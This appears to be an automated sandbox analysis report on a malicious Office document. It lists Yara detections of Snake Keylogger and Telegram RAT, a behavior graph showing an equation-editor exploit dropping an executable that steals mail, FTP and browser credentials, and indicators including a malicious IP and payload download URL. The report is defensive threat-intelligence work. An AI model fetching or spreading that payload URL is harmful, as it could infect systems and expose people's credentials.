Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.rinzearec84736.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33d8c18.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33b8bf8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.rinzearec84736.exe.33745d8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.919229211.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.924373144.0000000003374000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rinzearec84736.exe PID: 648, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 756118 Sample: SecuriteInfo.com.Exploit.CV... Startdate: 29/11/2022 Architecture: WINDOWS Score: 100 41 Malicious sample detected (through community Yara rule) 2->41 43 Antivirus detection for URL or domain 2->43 45 Multi AV Scanner detection for dropped file 2->45 47 12 other signatures 2->47 7 EQNEDT32.EXE 11 2->7         started        12 WINWORD.EXE 336 18 2->12         started        14 EQNEDT32.EXE 2->14         started        process3 dnsIp4 31 208.67.105.179, 49171, 80 GRAYSON-COLLIN-COMMUNICATIONSUS United States 7->31 23 C:\Users\user\AppData\...\rinzearec84736.exe, PE32 7->23 dropped 25 C:\Users\user\AppData\...\arinzezx[1].exe, PE32 7->25 dropped 55 Office equation editor establishes network connection 7->55 57 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 7->57 16 rinzearec84736.exe 1 5 7->16         started        file5 signatures6 process7 signatures8 33 Multi AV Scanner detection for dropped file 16->33 35 May check the online IP address of the machine 16->35 37 Machine Learning detection for dropped file 16->37 39 Injects a PE file into a foreign processes 16->39 19 rinzearec84736.exe 12 16->19         started        process9 dnsIp10 27 checkip.dyndns.org 19->27 29 checkip.dyndns.com 193.122.6.168, 49172, 80 ORACLE-BMC-31898US United States 19->29 49 Tries to steal Mail credentials (via file / registry access) 19->49 51 Tries to harvest and steal ftp login credentials 19->51 53 Tries to harvest and steal browser information (history, passwords, etc) 19->53 signatures11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
193.122.6.168
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
208.67.105.179
 unknown United States
20042 GRAYSON-COLLIN-COMMUNICATIONSUS true

Contacted Domains

Name IP Active
checkip.dyndns.com 193.122.6.168 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://208.67.105.179/arinzezx.exe true
  • Avira URL Cloud: malware
 unknown
http://checkip.dyndns.org/ false
  • URL Reputation: safe
 unknown